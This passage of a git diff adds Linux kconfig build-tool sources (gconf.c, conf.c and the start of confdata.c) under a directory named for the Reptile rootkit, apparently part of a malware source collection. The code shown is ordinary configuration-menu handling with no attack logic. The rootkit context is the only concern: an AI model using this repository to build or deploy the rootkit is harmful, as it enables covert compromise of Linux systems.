} + if (event->keyval == GDK_KP_Enter) { + } + if (widget == tree1_w) + return FALSE; + + gtk_tree_model_get_iter(model2, &iter, path); + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + + if (!strcasecmp(event->string, "n")) + col = COL_NO; + else if (!strcasecmp(event->string, "m")) + col = COL_MOD; + else if (!strcasecmp(event->string, "y")) + col = COL_YES; + else + col = -1; + change_sym_value(menu, col); + + return FALSE; +} + + +/* Row selection changed: update help */ +void +on_treeview2_cursor_changed(GtkTreeView * treeview, gpointer user_data) +{ + GtkTreeSelection *selection; + GtkTreeIter iter; + struct menu *menu; + + selection = gtk_tree_view_get_selection(treeview); + if (gtk_tree_selection_get_selected(selection, &model2, &iter)) { + gtk_tree_model_get(model2, &iter, COL_MENU, &menu, -1); + text_insert_help(menu); + } +} + + +/* User click: display sub-tree in the right frame. */ +gboolean +on_treeview1_button_press_event(GtkWidget * widget, + GdkEventButton * event, gpointer user_data) +{ + GtkTreeView *view = GTK_TREE_VIEW(widget); + GtkTreePath *path; + GtkTreeViewColumn *column; + GtkTreeIter iter; + struct menu *menu; + + gint tx = (gint) event->x; + gint ty = (gint) event->y; + gint cx, cy; + + gtk_tree_view_get_path_at_pos(view, tx, ty, &path, &column, &cx, + &cy); + if (path == NULL) + return FALSE; + + gtk_tree_model_get_iter(model1, &iter, path); + gtk_tree_model_get(model1, &iter, COL_MENU, &menu, -1); + + if (event->type == GDK_2BUTTON_PRESS) { + toggle_sym_value(menu); + current = menu; + display_tree_part(); + } else { + browsed = menu; + display_tree_part(); + } + + gtk_widget_realize(tree2_w); + gtk_tree_view_set_cursor(view, path, NULL, FALSE); + gtk_widget_grab_focus(tree2_w); + + return FALSE; +} + + +/* Fill a row of strings */ +static gchar **fill_row(struct menu *menu) +{ + static gchar *row[COL_NUMBER]; + struct symbol *sym = menu->sym; + const char *def; + int stype; + tristate val; + enum prop_type ptype; + int i; + + for (i = COL_OPTION; i <= COL_COLOR; i++) + g_free(row[i]); + bzero(row, sizeof(row)); + + row[COL_OPTION] = + g_strdup_printf("%s %s", _(menu_get_prompt(menu)), + sym && !sym_has_value(sym) ? "(NEW)" : ""); + + if (opt_mode == OPT_ALL && !menu_is_visible(menu)) + row[COL_COLOR] = g_strdup("DarkGray"); + else if (opt_mode == OPT_PROMPT && + menu_has_prompt(menu) && !menu_is_visible(menu)) + row[COL_COLOR] = g_strdup("DarkGray"); + else + row[COL_COLOR] = g_strdup("Black"); + + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + switch (ptype) { + case P_MENU: + row[COL_PIXBUF] = (gchar *) xpm_menu; + if (view_mode == SINGLE_VIEW) + row[COL_PIXVIS] = GINT_TO_POINTER(TRUE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + case P_COMMENT: + row[COL_PIXBUF] = (gchar *) xpm_void; + row[COL_PIXVIS] = GINT_TO_POINTER(FALSE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + default: + row[COL_PIXBUF] = (gchar *) xpm_void; + row[COL_PIXVIS] = GINT_TO_POINTER(FALSE); + row[COL_BTNVIS] = GINT_TO_POINTER(TRUE); + break; + } + + if (!sym) + return row; + row[COL_NAME] = g_strdup(sym->name); + + sym_calc_value(sym); + sym->flags &= ~SYMBOL_CHANGED; + + if (sym_is_choice(sym)) { // parse childs for getting final value + struct menu *child; + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) + && child->sym == def_sym) + def_menu = child; + } + + if (def_menu) + row[COL_VALUE] = + g_strdup(_(menu_get_prompt(def_menu))); + } + if (sym->flags & SYMBOL_CHOICEVAL) + row[COL_BTNRAD] = GINT_TO_POINTER(TRUE); + + stype = sym_get_type(sym); + switch (stype) { + case S_BOOLEAN: + if (GPOINTER_TO_INT(row[COL_PIXVIS]) == FALSE) + row[COL_BTNVIS] = GINT_TO_POINTER(TRUE); + if (sym_is_choice(sym)) + break; + /* fall through */ + case S_TRISTATE: + val = sym_get_tristate_value(sym); + switch (val) { + case no: + row[COL_NO] = g_strdup("N"); + row[COL_VALUE] = g_strdup("N"); + row[COL_BTNACT] = GINT_TO_POINTER(FALSE); + row[COL_BTNINC] = GINT_TO_POINTER(FALSE); + break; + case mod: + row[COL_MOD] = g_strdup("M"); + row[COL_VALUE] = g_strdup("M"); + row[COL_BTNINC] = GINT_TO_POINTER(TRUE); + break; + case yes: + row[COL_YES] = g_strdup("Y"); + row[COL_VALUE] = g_strdup("Y"); + row[COL_BTNACT] = GINT_TO_POINTER(TRUE); + row[COL_BTNINC] = GINT_TO_POINTER(FALSE); + break; + } + + if (val != no && sym_tristate_within_range(sym, no)) + row[COL_NO] = g_strdup("_"); + if (val != mod && sym_tristate_within_range(sym, mod)) + row[COL_MOD] = g_strdup("_"); + if (val != yes && sym_tristate_within_range(sym, yes)) + row[COL_YES] = g_strdup("_"); + break; + case S_INT: + case S_HEX: + case S_STRING: + def = sym_get_string_value(sym); + row[COL_VALUE] = g_strdup(def); + row[COL_EDIT] = GINT_TO_POINTER(TRUE); + row[COL_BTNVIS] = GINT_TO_POINTER(FALSE); + break; + } + + return row; +} + + +/* Set the node content with a row of strings */ +static void set_node(GtkTreeIter * node, struct menu *menu, gchar ** row) +{ + GdkColor color; + gboolean success; + GdkPixbuf *pix; + + pix = gdk_pixbuf_new_from_xpm_data((const char **) + row[COL_PIXBUF]); + + gdk_color_parse(row[COL_COLOR], &color); + gdk_colormap_alloc_colors(gdk_colormap_get_system(), &color, 1, + FALSE, FALSE, &success); + + gtk_tree_store_set(tree, node, + COL_OPTION, row[COL_OPTION], + COL_NAME, row[COL_NAME], + COL_NO, row[COL_NO], + COL_MOD, row[COL_MOD], + COL_YES, row[COL_YES], + COL_VALUE, row[COL_VALUE], + COL_MENU, (gpointer) menu, + COL_COLOR, &color, + COL_EDIT, GPOINTER_TO_INT(row[COL_EDIT]), + COL_PIXBUF, pix, + COL_PIXVIS, GPOINTER_TO_INT(row[COL_PIXVIS]), + COL_BTNVIS, GPOINTER_TO_INT(row[COL_BTNVIS]), + COL_BTNACT, GPOINTER_TO_INT(row[COL_BTNACT]), + COL_BTNINC, GPOINTER_TO_INT(row[COL_BTNINC]), + COL_BTNRAD, GPOINTER_TO_INT(row[COL_BTNRAD]), + -1); + + g_object_unref(pix); +} + + +/* Add a node to the tree */ +static void place_node(struct menu *menu, char **row) +{ + GtkTreeIter *parent = parents[indent - 1]; + GtkTreeIter *node = parents[indent]; + + gtk_tree_store_append(tree, node, parent); + set_node(node, menu, row); +} + + +/* Find a node in the GTK+ tree */ +static GtkTreeIter found; + +/* + * Find a menu in the GtkTree starting at parent. + */ +GtkTreeIter *gtktree_iter_find_node(GtkTreeIter * parent, + struct menu *tofind) +{ + GtkTreeIter iter; + GtkTreeIter *child = &iter; + gboolean valid; + GtkTreeIter *ret; + + valid = gtk_tree_model_iter_children(model2, child, parent); + while (valid) { + struct menu *menu; + + gtk_tree_model_get(model2, child, 6, &menu, -1); + + if (menu == tofind) { + memcpy(&found, child, sizeof(GtkTreeIter)); + return &found; + } + + ret = gtktree_iter_find_node(child, tofind); + if (ret) + return ret; + + valid = gtk_tree_model_iter_next(model2, child); + } + + return NULL; +} + + +/* + * Update the tree by adding/removing entries + * Does not change other nodes + */ +static void update_tree(struct menu *src, GtkTreeIter * dst) +{ + struct menu *child1; + GtkTreeIter iter, tmp; + GtkTreeIter *child2 = &iter; + gboolean valid; + GtkTreeIter *sibling; + struct symbol *sym; + struct menu *menu1, *menu2; + + if (src == &rootmenu) + indent = 1; + + valid = gtk_tree_model_iter_children(model2, child2, dst); + for (child1 = src->list; child1; child1 = child1->next) { + + sym = child1->sym; + + reparse: + menu1 = child1; + if (valid) + gtk_tree_model_get(model2, child2, COL_MENU, + &menu2, -1); + else + menu2 = NULL; // force adding of a first child + +#ifdef DEBUG + printf("%*c%s | %s\n", indent, ' ', + menu1 ? menu_get_prompt(menu1) : "nil", + menu2 ? menu_get_prompt(menu2) : "nil"); +#endif + + if ((opt_mode == OPT_NORMAL && !menu_is_visible(child1)) || + (opt_mode == OPT_PROMPT && !menu_has_prompt(child1)) || + (opt_mode == OPT_ALL && !menu_get_prompt(child1))) { + + /* remove node */ + if (gtktree_iter_find_node(dst, menu1) != NULL) { + memcpy(&tmp, child2, sizeof(GtkTreeIter)); + valid = gtk_tree_model_iter_next(model2, + child2); + gtk_tree_store_remove(tree2, &tmp); + if (!valid) + return; /* next parent */ + else + goto reparse; /* next child */ + } else + continue; + } + + if (menu1 != menu2) { + if (gtktree_iter_find_node(dst, menu1) == NULL) { // add node + if (!valid && !menu2) + sibling = NULL; + else + sibling = child2; + gtk_tree_store_insert_before(tree2, + child2, + dst, sibling); + set_node(child2, menu1, fill_row(menu1)); + if (menu2 == NULL) + valid = TRUE; + } else { // remove node + memcpy(&tmp, child2, sizeof(GtkTreeIter)); + valid = gtk_tree_model_iter_next(model2, + child2); + gtk_tree_store_remove(tree2, &tmp); + if (!valid) + return; // next parent + else + goto reparse; // next child + } + } else if (sym && (sym->flags & SYMBOL_CHANGED)) { + set_node(child2, menu1, fill_row(menu1)); + } + + indent++; + update_tree(child1, child2); + indent--; + + valid = gtk_tree_model_iter_next(model2, child2); + } +} + + +/* Display the whole tree (single/split/full view) */ +static void display_tree(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + enum prop_type ptype; + + if (menu == &rootmenu) { + indent = 1; + current = &rootmenu; + } + + for (child = menu->list; child; child = child->next) { + prop = child->prompt; + sym = child->sym; + ptype = prop ? prop->type : P_UNKNOWN; + + if (sym) + sym->flags &= ~SYMBOL_CHANGED; + + if ((view_mode == SPLIT_VIEW) + && !(child->flags & MENU_ROOT) && (tree == tree1)) + continue; + + if ((view_mode == SPLIT_VIEW) && (child->flags & MENU_ROOT) + && (tree == tree2)) + continue; + + if ((opt_mode == OPT_NORMAL && menu_is_visible(child)) || + (opt_mode == OPT_PROMPT && menu_has_prompt(child)) || + (opt_mode == OPT_ALL && menu_get_prompt(child))) + place_node(child, fill_row(child)); +#ifdef DEBUG + printf("%*c%s: ", indent, ' ', menu_get_prompt(child)); + printf("%s", child->flags & MENU_ROOT ? "rootmenu | " : ""); + printf("%s", prop_get_type_name(ptype)); + printf(" | "); + if (sym) { + printf("%s", sym_type_name(sym->type)); + printf(" | "); + printf("%s", dbg_sym_flags(sym->flags)); + printf("\n"); + } else + printf("\n"); +#endif + if ((view_mode != FULL_VIEW) && (ptype == P_MENU) + && (tree == tree2)) + continue; +/* + if (((menu != &rootmenu) && !(menu->flags & MENU_ROOT)) + || (view_mode == FULL_VIEW) + || (view_mode == SPLIT_VIEW))*/ + + /* Change paned position if the view is not in 'split mode' */ + if (view_mode == SINGLE_VIEW || view_mode == FULL_VIEW) { + gtk_paned_set_position(GTK_PANED(hpaned), 0); + } + + if (((view_mode == SINGLE_VIEW) && (menu->flags & MENU_ROOT)) + || (view_mode == FULL_VIEW) + || (view_mode == SPLIT_VIEW)) { + indent++; + display_tree(child); + indent--; + } + } +} + +/* Display a part of the tree starting at current node (single/split view) */ +static void display_tree_part(void) +{ + if (tree2) + gtk_tree_store_clear(tree2); + if (view_mode == SINGLE_VIEW) + display_tree(current); + else if (view_mode == SPLIT_VIEW) + display_tree(browsed); + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree2_w)); +} + +/* Display the list in the left frame (split view) */ +static void display_list(void) +{ + if (tree1) + gtk_tree_store_clear(tree1); + + tree = tree1; + display_tree(&rootmenu); + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree1_w)); + tree = tree2; +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + + +/* Main */ +int main(int ac, char *av[]) +{ + const char *name; + char *env; + gchar *glade_file; + + bindtextdomain(PACKAGE, LOCALEDIR); + bind_textdomain_codeset(PACKAGE, "UTF-8"); + textdomain(PACKAGE); + + /* GTK stuffs */ + gtk_set_locale(); + gtk_init(&ac, &av); + glade_init(); + + //add_pixmap_directory (PACKAGE_DATA_DIR "/" PACKAGE "/pixmaps"); + //add_pixmap_directory (PACKAGE_SOURCE_DIR "/pixmaps"); + + /* Determine GUI path */ + env = getenv(SRCTREE); + if (env) + glade_file = g_strconcat(env, "/scripts/kconfig/gconf.glade", NULL); + else if (av[0][0] == '/') + glade_file = g_strconcat(av[0], ".glade", NULL); + else + glade_file = g_strconcat(g_get_current_dir(), "/", av[0], ".glade", NULL); + + /* Conf stuffs */ + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'a': + //showAll = 1; + break; + case 'h': + case '?': + printf("%s \n", av[0]); + exit(0); + } + name = av[2]; + } else + name = av[1]; + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + + /* Load the interface and connect signals */ + init_main_window(glade_file); + init_tree_model(); + init_left_tree(); + init_right_tree(); + + switch (view_mode) { + case SINGLE_VIEW: + display_tree_part(); + break; + case SPLIT_VIEW: + display_list(); + break; + case FULL_VIEW: + display_tree(&rootmenu); + break; + } + + gtk_main(); + + return 0; +} + +static void conf_changed(void) +{ + bool changed = conf_get_changed(); + gtk_widget_set_sensitive(save_btn, changed); + gtk_widget_set_sensitive(save_menu_item, changed); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/conf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/conf.c new file mode 100644 index 0000000..d19944f --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/conf.c @@ -0,0 +1,718 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf(struct menu *menu); +static void check_conf(struct menu *menu); +static void xfgets(char *str, int size, FILE *in); + +enum input_mode { + oldaskconfig, + silentoldconfig, + oldconfig, + allnoconfig, + allyesconfig, + allmodconfig, + alldefconfig, + randconfig, + defconfig, + savedefconfig, + listnewconfig, + olddefconfig, +} input_mode = oldaskconfig; + +static int indent = 1; +static int tty_stdio; +static int valid_stdin = 1; +static int sync_kconfig; +static int conf_cnt; +static char line[128]; +static struct menu *rootEntry; + +static void print_help(struct menu *menu) +{ + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + printf("\n%s\n", str_get(&help)); + str_free(&help); +} + +static void strip(char *str) +{ + char *p = str; + int l; + + while ((isspace(*p))) + p++; + l = strlen(p); + if (p != str) + memmove(str, p, l + 1); + if (!l) + return; + p = str + l - 1; + while ((isspace(*p))) + *p-- = 0; +} + +static void check_stdin(void) +{ + if (!valid_stdin) { + printf(_("aborted!\n\n")); + printf(_("Console input/output is redirected. ")); + printf(_("Run 'make oldconfig' to update configuration.\n\n")); + exit(1); + } +} + +static int conf_askvalue(struct symbol *sym, const char *def) +{ + enum symbol_type type = sym_get_type(sym); + + if (!sym_has_value(sym)) + printf(_("(NEW) ")); + + line[0] = '\n'; + line[1] = 0; + + if (!sym_is_changable(sym)) { + printf("%s\n", def); + line[0] = '\n'; + line[1] = 0; + return 0; + } + + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (sym_has_value(sym)) { + printf("%s\n", def); + return 0; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + if (!tty_stdio) + printf("\n"); + return 1; + default: + break; + } + + switch (type) { + case S_INT: + case S_HEX: + case S_STRING: + printf("%s\n", def); + return 1; + default: + ; + } + printf("%s", line); + return 1; +} + +static int conf_string(struct menu *menu) +{ + struct symbol *sym = menu->sym; + const char *def; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + printf("(%s) ", sym->name); + def = sym_get_string_value(sym); + if (sym_get_string_value(sym)) + printf("[%s] ", def); + if (!conf_askvalue(sym, def)) + return 0; + switch (line[0]) { + case '\n': + break; + case '?': + /* print help */ + if (line[1] == '\n') { + print_help(menu); + def = NULL; + break; + } + /* fall through */ + default: + line[strlen(line)-1] = 0; + def = line; + } + if (def && sym_set_string_value(sym, def)) + return 0; + } +} + +static int conf_sym(struct menu *menu) +{ + struct symbol *sym = menu->sym; + tristate oldval, newval; + + while (1) { + printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); + if (sym->name) + printf("(%s) ", sym->name); + putchar('['); + oldval = sym_get_tristate_value(sym); + switch (oldval) { + case no: + putchar('N'); + break; + case mod: + putchar('M'); + break; + case yes: + putchar('Y'); + break; + } + if (oldval != no && sym_tristate_within_range(sym, no)) + printf("/n"); + if (oldval != mod && sym_tristate_within_range(sym, mod)) + printf("/m"); + if (oldval != yes && sym_tristate_within_range(sym, yes)) + printf("/y"); + if (menu_has_help(menu)) + printf("/?"); + printf("] "); + if (!conf_askvalue(sym, sym_get_string_value(sym))) + return 0; + strip(line); + + switch (line[0]) { + case 'n': + case 'N': + newval = no; + if (!line[1] || !strcmp(&line[1], "o")) + break; + continue; + case 'm': + case 'M': + newval = mod; + if (!line[1]) + break; + continue; + case 'y': + case 'Y': + newval = yes; + if (!line[1] || !strcmp(&line[1], "es")) + break; + continue; + case 0: + newval = oldval; + break; + case '?': + goto help; + default: + continue; + } + if (sym_set_tristate_value(sym, newval)) + return 0; +help: + print_help(menu); + } +} + +static int conf_choice(struct menu *menu) +{ + struct symbol *sym, *def_sym; + struct menu *child; + bool is_new; + + sym = menu->sym; + is_new = !sym_has_value(sym); + if (sym_is_changable(sym)) { + conf_sym(menu); + sym_calc_value(sym); + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + return 0; + case yes: + break; + } + } else { + switch (sym_get_tristate_value(sym)) { + case no: + return 1; + case mod: + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + return 0; + case yes: + break; + } + } + + while (1) { + int cnt, def; + + printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu))); + def_sym = sym_get_choice_value(sym); + cnt = def = 0; + line[0] = 0; + for (child = menu->list; child; child = child->next) { + if (!menu_is_visible(child)) + continue; + if (!child->sym) { + printf("%*c %s\n", indent, '*', _(menu_get_prompt(child))); + continue; + } + cnt++; + if (child->sym == def_sym) { + def = cnt; + printf("%*c", indent, '>'); + } else + printf("%*c", indent, ' '); + printf(" %d. %s", cnt, _(menu_get_prompt(child))); + if (child->sym->name) + printf(" (%s)", child->sym->name); + if (!sym_has_value(child->sym)) + printf(_(" (NEW)")); + printf("\n"); + } + printf(_("%*schoice"), indent - 1, ""); + if (cnt == 1) { + printf("[1]: 1\n"); + goto conf_childs; + } + printf("[1-%d", cnt); + if (menu_has_help(menu)) + printf("?"); + printf("]: "); + switch (input_mode) { + case oldconfig: + case silentoldconfig: + if (!is_new) { + cnt = def; + printf("%d\n", cnt); + break; + } + check_stdin(); + /* fall through */ + case oldaskconfig: + fflush(stdout); + xfgets(line, 128, stdin); + strip(line); + if (line[0] == '?') { + print_help(menu); + continue; + } + if (!line[0]) + cnt = def; + else if (isdigit(line[0])) + cnt = atoi(line); + else + continue; + break; + default: + break; + } + + conf_childs: + for (child = menu->list; child; child = child->next) { + if (!child->sym || !menu_is_visible(child)) + continue; + if (!--cnt) + break; + } + if (!child) + continue; + if (line[0] && line[strlen(line) - 1] == '?') { + print_help(child); + continue; + } + sym_set_choice_value(sym, child->sym); + for (child = child->list; child; child = child->next) { + indent += 2; + conf(child); + indent -= 2; + } + return 1; + } +} + +static void conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + prop = menu->prompt; + if (prop) { + const char *prompt; + + switch (prop->type) { + case P_MENU: + if ((input_mode == silentoldconfig || + input_mode == listnewconfig || + input_mode == olddefconfig) && + rootEntry != menu) { + check_conf(menu); + return; + } + /* fall through */ + case P_COMMENT: + prompt = menu_get_prompt(menu); + if (prompt) + printf("%*c\n%*c %s\n%*c\n", + indent, '*', + indent, '*', _(prompt), + indent, '*'); + default: + ; + } + } + + if (!sym) + goto conf_childs; + + if (sym_is_choice(sym)) { + conf_choice(menu); + if (sym->curr.tri != mod) + return; + goto conf_childs; + } + + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + conf_string(menu); + break; + default: + conf_sym(menu); + break; + } + +conf_childs: + if (sym) + indent += 2; + for (child = menu->list; child; child = child->next) + conf(child); + if (sym) + indent -= 2; +} + +static void check_conf(struct menu *menu) +{ + struct symbol *sym; + struct menu *child; + + if (!menu_is_visible(menu)) + return; + + sym = menu->sym; + if (sym && !sym_has_value(sym)) { + if (sym_is_changable(sym) || + (sym_is_choice(sym) && sym_get_tristate_value(sym) == yes)) { + if (input_mode == listnewconfig) { + if (sym->name && !sym_is_choice_value(sym)) { + printf("%s%s\n", CONFIG_, sym->name); + } + } else if (input_mode != olddefconfig) { + if (!conf_cnt++) + printf(_("*\n* Restart config...\n*\n")); + rootEntry = menu_get_parent_menu(menu); + conf(rootEntry); + } + } + } + + for (child = menu->list; child; child = child->next) + check_conf(child); +} + +static struct option long_opts[] = { + {"oldaskconfig", no_argument, NULL, oldaskconfig}, + {"oldconfig", no_argument, NULL, oldconfig}, + {"silentoldconfig", no_argument, NULL, silentoldconfig}, + {"defconfig", optional_argument, NULL, defconfig}, + {"savedefconfig", required_argument, NULL, savedefconfig}, + {"allnoconfig", no_argument, NULL, allnoconfig}, + {"allyesconfig", no_argument, NULL, allyesconfig}, + {"allmodconfig", no_argument, NULL, allmodconfig}, + {"alldefconfig", no_argument, NULL, alldefconfig}, + {"randconfig", no_argument, NULL, randconfig}, + {"listnewconfig", no_argument, NULL, listnewconfig}, + {"olddefconfig", no_argument, NULL, olddefconfig}, + /* + * oldnoconfig is an alias of olddefconfig, because people already + * are dependent on its behavior(sets new symbols to their default + * value but not 'n') with the counter-intuitive name. + */ + {"oldnoconfig", no_argument, NULL, olddefconfig}, + {NULL, 0, NULL, 0} +}; + +static void conf_usage(const char *progname) +{ + + printf("Usage: %s [option] \n", progname); + printf("[option] is _one_ of the following:\n"); + printf(" --listnewconfig List new options\n"); + printf(" --oldaskconfig Start a new configuration using a line-oriented program\n"); + printf(" --oldconfig Update a configuration using a provided .config as base\n"); + printf(" --silentoldconfig Same as oldconfig, but quietly, additionally update deps\n"); + printf(" --olddefconfig Same as silentoldconfig but sets new symbols to their default value\n"); + printf(" --oldnoconfig An alias of olddefconfig\n"); + printf(" --defconfig New config with default defined in \n"); + printf(" --savedefconfig Save the minimal current configuration to \n"); + printf(" --allnoconfig New config where all options are answered with no\n"); + printf(" --allyesconfig New config where all options are answered with yes\n"); + printf(" --allmodconfig New config where all options are answered with mod\n"); + printf(" --alldefconfig New config with all symbols set to default\n"); + printf(" --randconfig New config with random answer to all options\n"); +} + +int main(int ac, char **av) +{ + const char *progname = av[0]; + int opt; + const char *name, *defconfig_file = NULL /* gcc uninit */; + struct stat tmpstat; + + setlocale(LC_ALL, ""); + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + tty_stdio = isatty(0) && isatty(1) && isatty(2); + + while ((opt = getopt_long(ac, av, "", long_opts, NULL)) != -1) { + input_mode = (enum input_mode)opt; + switch (opt) { + case silentoldconfig: + sync_kconfig = 1; + break; + case defconfig: + case savedefconfig: + defconfig_file = optarg; + break; + case randconfig: + { + struct timeval now; + unsigned int seed; + char *seed_env; + + /* + * Use microseconds derived seed, + * compensate for systems where it may be zero + */ + gettimeofday(&now, NULL); + seed = (unsigned int)((now.tv_sec + 1) * (now.tv_usec + 1)); + + seed_env = getenv("KCONFIG_SEED"); + if( seed_env && *seed_env ) { + char *endp; + int tmp = (int)strtol(seed_env, &endp, 0); + if (*endp == '\0') { + seed = tmp; + } + } + fprintf( stderr, "KCONFIG_SEED=0x%X\n", seed ); + srand(seed); + break; + } + case oldaskconfig: + case oldconfig: + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case listnewconfig: + case olddefconfig: + break; + case '?': + conf_usage(progname); + exit(1); + break; + } + } + if (ac == optind) { + printf(_("%s: Kconfig file missing\n"), av[0]); + conf_usage(progname); + exit(1); + } + name = av[optind]; + conf_parse(name); + //zconfdump(stdout); + if (sync_kconfig) { + name = conf_get_configname(); + if (stat(name, &tmpstat)) { + fprintf(stderr, _("***\n" + "*** Configuration file \"%s\" not found!\n" + "***\n" + "*** Please run some configurator (e.g. \"make oldconfig\" or\n" + "*** \"make menuconfig\" or \"make xconfig\").\n" + "***\n"), name); + exit(1); + } + } + + switch (input_mode) { + case defconfig: + if (!defconfig_file) + defconfig_file = conf_get_default_confname(); + if (conf_read(defconfig_file)) { + printf(_("***\n" + "*** Can't find default configuration \"%s\"!\n" + "***\n"), defconfig_file); + exit(1); + } + break; + case savedefconfig: + case silentoldconfig: + case oldaskconfig: + case oldconfig: + case listnewconfig: + case olddefconfig: + conf_read(NULL); + break; + case allnoconfig: + case allyesconfig: + case allmodconfig: + case alldefconfig: + case randconfig: + name = getenv("KCONFIG_ALLCONFIG"); + if (!name) + break; + if ((strcmp(name, "") != 0) && (strcmp(name, "1") != 0)) { + if (conf_read_simple(name, S_DEF_USER)) { + fprintf(stderr, + _("*** Can't read seed configuration \"%s\"!\n"), + name); + exit(1); + } + break; + } + switch (input_mode) { + case allnoconfig: name = "allno.config"; break; + case allyesconfig: name = "allyes.config"; break; + case allmodconfig: name = "allmod.config"; break; + case alldefconfig: name = "alldef.config"; break; + case randconfig: name = "allrandom.config"; break; + default: break; + } + if (conf_read_simple(name, S_DEF_USER) && + conf_read_simple("all.config", S_DEF_USER)) { + fprintf(stderr, + _("*** KCONFIG_ALLCONFIG set, but no \"%s\" or \"all.config\" file found\n"), + name); + exit(1); + } + break; + default: + break; + } + + if (sync_kconfig) { + if (conf_get_changed()) { + name = getenv("KCONFIG_NOSILENTUPDATE"); + if (name && *name) { + fprintf(stderr, + _("\n*** The configuration requires explicit update.\n\n")); + return 1; + } + } + valid_stdin = tty_stdio; + } + + switch (input_mode) { + case allnoconfig: + conf_set_all_new_symbols(def_no); + break; + case allyesconfig: + conf_set_all_new_symbols(def_yes); + break; + case allmodconfig: + conf_set_all_new_symbols(def_mod); + break; + case alldefconfig: + conf_set_all_new_symbols(def_default); + break; + case randconfig: + /* Really nothing to do in this loop */ + while (conf_set_all_new_symbols(def_random)) ; + break; + case defconfig: + conf_set_all_new_symbols(def_default); + break; + case savedefconfig: + break; + case oldaskconfig: + rootEntry = &rootmenu; + conf(&rootmenu); + input_mode = silentoldconfig; + /* fall through */ + case oldconfig: + case listnewconfig: + case olddefconfig: + case silentoldconfig: + /* Update until a loop caused no more changes */ + do { + conf_cnt = 0; + check_conf(&rootmenu); + } while (conf_cnt && + (input_mode != listnewconfig && + input_mode != olddefconfig)); + break; + } + + if (sync_kconfig) { + /* silentoldconfig is used during the build so we shall update autoconf. + * All other commands are only used to generate a config. + */ + if (conf_get_changed() && conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + if (conf_write_autoconf()) { + fprintf(stderr, _("\n*** Error during update of the configuration.\n\n")); + return 1; + } + } else if (input_mode == savedefconfig) { + if (conf_write_defconfig(defconfig_file)) { + fprintf(stderr, _("n*** Error while saving defconfig to: %s\n\n"), + defconfig_file); + return 1; + } + } else if (input_mode != listnewconfig) { + if (conf_write(NULL)) { + fprintf(stderr, _("\n*** Error during writing of the configuration.\n\n")); + exit(1); + } + } + return 0; +} + +/* + * Helper function to facilitate fgets() by Jean Sacren. + */ +void xfgets(char *str, int size, FILE *in) +{ + if (fgets(str, size, in) == NULL) + fprintf(stderr, "\nError in reading or end of file.\n"); +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/confdata.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/confdata.c new file mode 100644 index 0000000..5e0a0ac --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/confdata.c @@ -0,0 +1,1239 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +static void conf_warning(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static void conf_message(const char *fmt, ...) + __attribute__ ((format (printf, 1, 2))); + +static const char *conf_filename; +static int conf_lineno, conf_warnings, conf_unsaved; + +const char conf_defname[] = ".defconfig"; + +static void conf_warning(const char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + fprintf(stderr, "%s:%d:warning: ", conf_filename, conf_lineno); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); + va_end(ap); + conf_warnings++; +} + +static void conf_default_message_callback(const char *fmt, va_list ap) +{ + printf("#\n# "); + vprintf(fmt, ap); + printf("\n#\n"); +} + +static void (*conf_message_callback) (const char *fmt, va_list ap) = + conf_default_message_callback; +void conf_set_message_callback(void (*fn) (const char *fmt, va_list 